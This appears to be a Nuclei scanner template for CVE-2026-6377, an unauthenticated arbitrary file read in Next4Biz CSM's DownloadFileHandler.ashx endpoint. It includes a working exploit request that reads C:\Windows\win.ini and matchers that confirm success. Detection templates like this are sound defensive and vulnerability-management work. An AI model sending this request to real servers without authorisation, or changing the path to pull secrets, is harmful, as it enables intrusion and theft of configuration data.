Next4Biz CSM - Arbitrary File Read via DownloadFileHandler

id: CVE-2026-6377

info:
  name: Next4Biz CSM - Arbitrary File Read via DownloadFileHandler
  author: 1dayexploit
  severity: high
  description: |
    Next4Biz CSM exposes the DownloadFileHandler.ashx endpoint, whose file parameter is passed to a path helper that never confirms the resolved path stays inside the upload directory before the file is streamed back. Because Path.Combine returns an absolute second argument verbatim, an unauthenticated attacker can supply an absolute Windows path and read any file the IIS application pool identity can open.
  impact: |
    Unauthenticated attackers can read arbitrary files from the server, including application configuration and secrets, which can lead to further compromise.
  remediation: |
    Update to the vendor-provided fixed release.
  reference:
    - https://1dayexploit.com/blog/cve-2026-6377-next4biz-csm-path-traversal/
    - https://github.com/1dayexploit/advisories/tree/main/advisories/cve-2026-6377-next4biz-csm-path-traversal
    - https://nvd.nist.gov/vuln/detail/CVE-2026-6377
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2026-6377
    epss-score: 0.00503
    epss-percentile: 0.41329
    cwe-id: CWE-22
  metadata:
    verified: false
    max-request: 1
    vendor: next4biz
    product: csm
  tags: cve,cve2026,next4biz,fileread,traversal

http:
  - raw:
      - |
        GET /Handlers/DownloadFileHandler.ashx?file=C:\Windows\win.ini HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - "[fonts]"
          - "[extensions]"
          - "[mci extensions]"
        condition: and

      - type: word
        part: header
        words:
          - "filename=win.ini"
# digest: 490a00463044022077dc3aba7e9a534a4458a48f3af24a844039a26cc2d4dca7300b4f53f6dfdf5602202a3ee4380c1f2289dffeaaf912155c2e608f02519f488a0303d568f6657e04e6:922c64590222798bb761d5b6d8e72950